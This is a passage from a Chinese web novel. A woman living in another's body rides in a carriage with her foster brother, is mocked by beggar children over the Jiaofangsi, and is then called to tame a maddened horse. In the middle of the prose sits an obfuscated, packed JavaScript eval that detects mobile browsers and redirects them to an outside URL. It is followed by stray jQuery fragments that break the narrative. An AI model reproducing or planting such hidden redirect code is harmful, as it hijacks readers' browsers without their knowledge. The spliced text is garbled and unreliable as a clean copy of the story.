“姑娘赎罪,前头突然有人拦车,马惊着了,小的这才没拉住……”
车夫猛拉缰绳,手心都被勒出几道印子来。
马车颠着晃了两下,陈遥手里的东西也跟着晃了两下,她一时没反应过来,便捏了好几下,两个圆软便滚过她的指腹,又滚了回来。
恍惚间,陈遥感觉到手下之人的褪轻轻往她手在的地方挤靠了一下。
“呵……”
她极快的抽手,抬头,见到了一副极美的景象。
谢书庭低着头,与她面对着。眉头轻皱,双眼微闭,两片唇微微张着,方才那声轻.喘.便出自其中。
他整个耳廓都红着,眼尾也略带殷红,面色却因胸骨被撞击而痛到苍白。
陈遥惊觉方才自己揉捏的东西是为何物,心中擂鼓阵阵,一直从她胸口敲到喉头,仿佛要跳了出来。
“小的该死!姑娘和二公子没事吧……”
外头车夫惊魂未定,脸色煞白还不忘回头询问主子的安危。
“没事!”
陈遥冷着声道。
随即皱着眉头闭了闭眼,顾不得脑袋那嗡嗡作响,头晕目眩的痛楚,连忙伸手将方才手掌心那软弹的触感狠狠在衣袍上擦了两下。
谢书庭微微抬眼,看到的便是她整个人坐在地上,面对着他的双腿,一手撑着地,另外一只手极快地在衣袍间胡乱的抹了两下手心的景象。
神色带着些懊恼和嫌弃。
他眼神带着些水雾,神色有些晦暗不明,喉头上下滚动着,宽大的衣袍下有什么东西在蓄势待发。
舌尖微微发痒,谢书庭抿着唇,将舌尖抵在齿上狠狠摩挲两下,将那股痒意磨出痛感来。
她低着头,撑在地上的那只手抬起揉了揉撞疼的脑袋,露出半截纤细白皙的后颈。
谢书庭恍然忆起那日密室之中,自己靠在她的肩窝,舌尖滑过她细腻的肌肤,口中溢满了她的骨肉。
心中涌出更多的热意与难以言明的渴望。
他指尖微动,理智告诉他,这不是他的真实意图,都是因为她喂给他的毒药所致。
但他的内心深处却隐隐在抗拒着这种理智的思绪。
忍不住想要伸出手去扶她,触碰她。
胸骨的疼痛仿佛将他的心绪与理智交织在一处,燃起一丝火苗,带着灼热的燥意烧灼着他的思绪。
陈遥揉着头缓缓起身,端坐在马车之中,有些后悔方才的坐姿不端,翘着的腿桎梏住了她的动作,这才摔了个狗啃泥,不对,是她啃谢书庭。
“何事?谁人拦车?”
陈遥将杂乱的思绪暂且抛诸脑后,面色不虞的掀开车帘,脑袋上的钝痛传来,舌尖被牙齿咬破,口中有丝丝缕缕的血腥气传来,眼底是强行压下去的怒意。
车夫坐在鞍座上,两匹马因为方才受惊而焦躁的打着响鼻,马蹄踢踏踢踏的来回踱步,马车时不时地随之晃荡两下。
马车前一群不知哪里来的乞儿围在马前,脏着脸,穿着破烂漏棉的衣服嚷嚷着什么。
见马车中的人漏出脸来,便更大声的吵嚷着。
仔细去听,陈遥才辩出他们口中之言,是一首打油诗。
大概是说谢书珍是暴君走狗,多少清白之人平白受屈,被她关去教坊司折磨至死,上至老妇,下至幼童,男女不分,畜生不如。
然后又说天道好轮回,苍天饶过谁,但将冷眼观螃蟹,看你横行到几时。①
那些乞儿分明是些大字不识的幼童,不知得了谁的授意跑到此处,当街叫骂她。
陈遥眼底闪过冷光,是谁在与她作对,收买这些孩童来诋毁她和教坊司。
诚然先帝在时,教坊司只不过是宫中用以排演盛宴歌舞的地方,辅以训诫宫女之地。
下罪官员的女眷罚入教坊司一则,在当时确实是形同虚设。
朝廷官员下狱抄家,女眷多被买入权贵人家为奴为婢,罚没入教坊司为官妓并不是对获罪官员的一种惩罚,更多的是带有羞辱之意,故而新帝即位前鲜少用之。
新帝即位后,朝中曾有传言其得位不正,传入皇帝耳中。
皇帝勃然大怒,抄了几个官员的家,将其女眷打入教坊司为官妓,杀鸡儆猴。
这已然成了皇帝羞辱不顺眼官员的一种手段。
但这些都与陈遥无关,原主也不过是奉命行事。身为朝中女官,自然要听命于皇帝,被罚的女眷与谢家毫无干系,这几句话一出,倒像是谢书珍徇私舞弊,以权谋私了。
这些孩童背后之人不会不知,骂她就是在骂皇帝吧。
这些小孩子衣衫褴褛,不辨是非,更不分善恶,他们声音越来越大,吵嚷了许久才一哄而散。
引得街市周围的行人驻足。
有读过书的,明白过来那群乞儿所言是何意,纷纷绕行。更有带着孩子的捂着自家孩子的脑袋低头疾步而去,走得老远才回头来看。
陈遥淡漠地看向那群乞儿离开的方向,随即放下帘子,淡淡地催促车夫。
“回府。”
车厢内,谢书庭神色已然恢复如常,方才的插曲仿拂是在提醒他,真正的谢书珍是个怎样的人。
一旁的陈遥自然也没了其他的心思。她在想,自己近来有没有得罪过什么人。
那些乞儿所言不止是在当街骂她,也在暗指当朝皇帝视律法为儿戏,只不过她正好挡在了前面而已。
教坊司历经几朝,到如今早已变了味。
不仅沦为朝中各党消灭侮辱政敌的工具,也成了权贵发泄的暗门子。
其中不乏有将家中妻女卖入教坊司已换钱财之事,且屡见不鲜。
如今在太后的示意下,甚至成了为皇帝选取后宫妃子之地。
陈遥心中升起一阵不太好的预感,却又暗暗希望自己能摆脱教坊司,摆脱太后的控制。
这样攻略谢书庭就会方便许多。
想起谢书庭,她掌心的触感又翻涌上来,脸上有些不自然的抬眼去看他,只见他神色无常。
“方才撞到你,你的伤没事吧?”
他合着眼睛闭目养神,不知道在想些什么。闻言,他漠然着睁眼,眼中一派清明,隐隐有阴戾的气息涌现其中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941020|177352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“阿姐还是管好自己吧,莫要像刚才那般投怀送抱,下次我可没有方才那么好的性子忍着你了。”
闻言,她一阵嫌弃,撇了撇嘴,安慰自己来日方长,若此刻还嘴,便是前功尽弃了,要忍。
虽然忍了下来,可陈遥的情绪藏不住,喜怒皆在脸上。谢书庭自然是毫不在意的置若罔闻。
她好不容易忍到回府,给谢书庭回诊的郎中早早便侯在了闲庭园外。院子里的大黄狗时不时吠叫两声,鸡飞狗跳一派和谐景象。
径直入了松雨阁,陈遥换了身衣服,不多时,红音带着车夫入了内。
“姑娘,人到了。”
陈遥接过红音砌好的茶,微抿一口,口中陈皮姜脯淡了不少,一口热茶入喉,将那股奇怪的味道冲刷干净。
“今日跟着他,都买了什么,去了何地?”
车夫是外院随便调过来的,往常原主出门乘马车,都是她房里那些马奴御车,但她不想与原主留下的那些人有所瓜葛,故而便叫红音随便找了个御车的马夫。
那车夫听见陈遥传唤,还以为是方才惊了马,要治他的罪,来的路上战战兢兢,唯恐被打板子。
此刻听见主子只是问话,心定了定,连忙抬手擦了擦额头上的冷汗,回话道:“回姑娘,二公子今日去了药街,买了些药材。还去了西市的银铺,似乎打了几个银铛,然后又去杂货铺子买了几个陶罐,哦,回来的路上,还买了包蜜饯果子。”
药?府上有郎中,他身上的伤也已然瞧过,他又不懂医术,买药做什么?
车夫走后,陈遥百思不得其解,一旁的红音问道:“要不要奴婢将二公子今日买的东西拿过来给姑娘瞧瞧?”
她摇了摇头。只是想从他今日的行踪里寻找一些他的喜好,除了那包难吃的陈皮姜脯,似乎没什么特别之物。
陈遥只是有些好奇,他买的东西没什么关联,也不知作何用处。
正想着去隔壁院子看看谢书庭的伤,外头一个小厮慌慌张张的跑了进来,喘着粗气来报:“马!马发狂了!”
谢府原先是永华郡主的御赐嫁妆,占地极大,一座宅子顶得上半个镇子。
谢书珍喜好骑射,府中自然也有马场,就挨着后山,府里养了不少汗血宝马,夏天便散养在山上,冬日山上草木凋零,那些马便养在马厩,由马奴们看管。
下人来报马厩里有一匹烈马,是年前秋猎时,养马司送过来的,天气愈发冷了起来,原主犯懒,还没顾得上驯服。
今日不知怎的,突然发起狂来。本就是匹野性难驯的烈马,如今发狂,愣是没有一人能够拉得住的,甚至还有马奴因此而受伤。
陈遥心中暗自怪道,原主养的那一屋子马奴原来竟是些摆设,关键时刻用不上,要他们有何用。
谢书珍马术极佳,是众所周知的事实。往年秋猎时,从她手里打来的鸟雀野鹿不比那些男子弱。小厮顶着挨板子的风险来请她,也是因为如今只有她能驯服那匹马了。
那小厮哪里知道,原主壳子里早换了芯子,只剩下一个不通御马之术,对骑射一道更是一窍不通的陈遥。